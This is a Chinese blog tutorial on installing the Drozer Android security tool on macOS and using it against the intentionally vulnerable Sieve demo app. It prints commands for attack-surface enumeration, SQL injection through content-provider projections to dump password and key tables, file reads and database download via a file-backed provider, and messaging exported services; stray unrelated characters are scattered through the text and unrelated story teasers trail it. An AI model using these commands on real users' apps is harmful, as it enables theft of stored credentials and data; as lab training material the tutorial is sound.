Drozer安裝(Mac系統(tǒng))和使用

Drozer 官網(wǎng)地址https://labs.mwrinfosecurity.com/

Drozer是幫助我們檢測Android設(shè)備中App應(yīng)用的漏洞的安全工具。

一向图、安裝

默認我們都有Android開發(fā)環(huán)境依賴的 JDK AndroidSDK 和 Python2.7(Mac 默認自帶) 并且環(huán)境變量都已經(jīng)配置粉楚,這里主要介紹一下Mac上的安裝過程斟湃,具體其他系統(tǒng)安裝過程可以參考官網(wǎng)文檔册倒。

要安裝drozer乓搬,首先要確保您的電腦安裝了Python 2.7西雀。然后萨驶,安裝drozer的依賴項

1.1安裝openssl

Drozer需要特殊版本的openssl,我們需要下載 pyOpenSSL v0.13艇肴,然后用sed指令修復typo腔呜,具體指令:

1.1.1 $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz

1.1.2 $ tar xzvf pyOpenSSL-0.13.tar.gz

1.1.3 $ cd pyOpenSSL-0.13

1.1.4 $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c

1.1.5 $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include

1.1.6 $ python setup.py build

1.1.7 $ python setup.py install

1.2安裝protobuf

$ easy_install --allow-hosts pypi.python.orgprotobuf

我們從https://github.com/protocolbuffers/protobuf/releases?after=v2.4.1rc1下載protobuf2.4.1版本執(zhí)行以下安裝命令

1、tar zxvf protobuf-2.4.1.tar.gz

2再悼、cd protobuf-2.4.1

3核畴、./configure

4、make(如果出現(xiàn)以下error

                3 errors generated.

                make[2] : *** [message.lo] Error 1

                make[2] : *** [all -recursive] Error 1

                make : *** [all] Error2

                解決方案:

                4.1\. 打開protobuf-2.4.1/src/google/protobuf/message.cc文件

                4.2\. 添加 #include <istream>后關(guān)閉文件冲九,重新執(zhí)行:make 即可)

5谤草、make check

6跟束、make install

執(zhí)行命令:protoc —version 如果出現(xiàn)libprotoc 2.4.1則說明安裝成功

1.3 安裝twisted 可以忽略警告和報錯,執(zhí)行一下命令即可

$ easy_install twisted==10.2.0

1.4 安裝drozer

$ sudo easy_install ./drozer-2.3.4-py2.7.egg

此外我們可以直接下載drozer(Python.whl)版本丑孩,執(zhí)行下面命令急性安裝


image.png

$ sudo pip install drozer-xxx.whl --ignore-installed pyOpenSSL

安裝drozer成功后可以輸入drozer驗證出現(xiàn)一下表示安裝成功

image.png

二冀宴、使用

2.1、在真機安裝drozer官網(wǎng)提供的agent.apk和sieve.apk

2.2温学、在電腦端開啟轉(zhuǎn)發(fā) 

         $ adb forward tcp:31415 tcp:31415

2.3略贮、手機端啟動Embedded Server
image.png

2.4、在電腦端啟動drozer console 輸入一下命令

 $ drozer console connect

2.5 Drozer命令

2.5.1 獲取獲取Android設(shè)備上的所有的安裝的App的包名,如果想具體查找某個App可加上-f [App關(guān)鍵字]的參數(shù)仗岖,如查找sieve在Android設(shè)備中的包名(sieve.apk在drozer官網(wǎng)上,一個'密碼管理器'應(yīng)用程序逃延,展示了一些常見的Android漏洞)

> run app.package.list -f sieve

2.5.2 獲取Sieve的一些基本信息

> run app.package.info -a com.mwr.example.sieve

2.5.3 確定攻擊面

> run app.package.attacksurface com.mwr.example.sieve
image.png

結(jié)果顯示了潛在可以利用的組件個數(shù): “exported”表示組件可以被其他App使用。 services is debuggable表示我們可以用adb綁定一個調(diào)試器到進程轧拄。

2.5.4進一步獲取攻擊面的信息

> run app.activity.info -a com.mwr.example.sieve

2.5.5啟動Activities揽祥,這里啟動是sieve包里的PWList

> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

2.5.6從Content Provider中獲取信息

> run [app.provider.info](http://app.provider.info/)-a com.mwr.example.sieve

    2.5.6.1 查找可以訪問Content Provider的URI(數(shù)據(jù)泄漏)

    >run scanner.provider.finduris -a com.mwr.example.sieve
image.png
上圖中檢測出了可以訪問content的URI,接下來我們可以用drozer的其他模塊和URI從content中獲取檩电,甚至更改信息拄丰。

> run app.provider.query 

2.5.7執(zhí)行SQL注入,Android操作系統(tǒng)建議使用SQLite數(shù)據(jù)庫存儲用戶數(shù)據(jù)是嗜。SQLite數(shù)據(jù)庫使用SQL語句愈案,所以可以進行SQL注入挺尾。 使用projection參數(shù)和seleciton參數(shù)可以傳遞一些簡單的SQL注入語句到Content provider鹅搪。如:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection “'"

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--selection “'"

上面兩條命令執(zhí)行后Android設(shè)備返回了非常詳細的錯誤信息。使用Sql注入列出數(shù)據(jù)庫中的所有數(shù)據(jù)表:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection "* FROM SQLITE_MASTER WHERE type='table';--"

使用SQL注入列出數(shù)據(jù)表的內(nèi)容:

>run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)

--projection "* FROM Key;—“

image.png

2.5.8 從File System-Backed Content Providers獲取信息遭铺,F(xiàn)ile System-backed Content Provider提供了訪問底層文件系統(tǒng)的方法丽柿,Android沙盒會阻止App共享文件允許,而File System-backed Content Provider允許App共享文件魂挂。

>run app.provider.read [content://com.mwr.example.sieve.FileBackupProvider/etc/hosts](content://com.mwr.example.sieve.FileBackupProvider/etc/hosts)

可以使用app.provider.download下載文件

>run app.provider.download [content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db](content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db)/Users/wangzhen/Desktop/databse.db

2.5.9 檢查Content Provider的脆弱性

2.5.9.1檢查是否有SQL注入:

>run scanner.provider.injection -a com.mwr.example.sieve

2.5.9.2檢查是否存在遍歷文件的漏洞

>run scanner.provider.traversal -a com.mwr.example.sieve

2.5.10 和Services交互

2.5.10.1 獲取是exported狀態(tài)的services的命令

> run app.service.info -a com.mwr.example.sieve

2.5.10.2 向服務(wù)發(fā)送消息

> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末甫题,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子涂召,更是在濱河造成了極大的恐慌坠非,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,204評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件果正,死亡現(xiàn)場離奇詭異炎码,居然都是意外死亡,警方通過查閱死者的電腦和手機秋泳,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評論 3 395
  • 文/潘曉璐 我一進店門潦闲,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人迫皱,你說我怎么就攤上這事歉闰。” “怎么了?”我有些...
    開封第一講書人閱讀 164,548評論 0 354
  • 文/不壞的土叔 我叫張陵和敬,是天一觀的道長凹炸。 經(jīng)常有香客問我,道長昼弟,這世上最難降的妖魔是什么还惠? 我笑而不...
    開封第一講書人閱讀 58,657評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮私杜,結(jié)果婚禮上蚕键,老公的妹妹穿的比我還像新娘。我一直安慰自己衰粹,他們只是感情好锣光,可當我...
    茶點故事閱讀 67,689評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著铝耻,像睡著了一般誊爹。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上瓢捉,一...
    開封第一講書人閱讀 51,554評論 1 305
  • 那天频丘,我揣著相機與錄音,去河邊找鬼泡态。 笑死搂漠,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的某弦。 我是一名探鬼主播桐汤,決...
    沈念sama閱讀 40,302評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼靶壮!你這毒婦竟也來了怔毛?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,216評論 0 276
  • 序言:老撾萬榮一對情侶失蹤腾降,失蹤者是張志新(化名)和其女友劉穎拣度,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體螃壤,經(jīng)...
    沈念sama閱讀 45,661評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡抗果,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,851評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了映穗。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片窖张。...
    茶點故事閱讀 39,977評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖蚁滋,靈堂內(nèi)的尸體忽然破棺而出宿接,到底是詐尸還是另有隱情赘淮,我是刑警寧澤,帶...
    沈念sama閱讀 35,697評論 5 347
  • 正文 年R本政府宣布睦霎,位于F島的核電站梢卸,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏副女。R本人自食惡果不足惜蛤高,卻給世界環(huán)境...
    茶點故事閱讀 41,306評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望碑幅。 院中可真熱鬧戴陡,春花似錦、人聲如沸沟涨。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,898評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽裹赴。三九已至喜庞,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間棋返,已是汗流浹背延都。 一陣腳步聲響...
    開封第一講書人閱讀 33,019評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留睛竣,地道東北人晰房。 一個月前我還...
    沈念sama閱讀 48,138評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像酵颁,于是被迫代替她去往敵國和親嫉你。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,927評論 2 355

推薦閱讀更多精彩內(nèi)容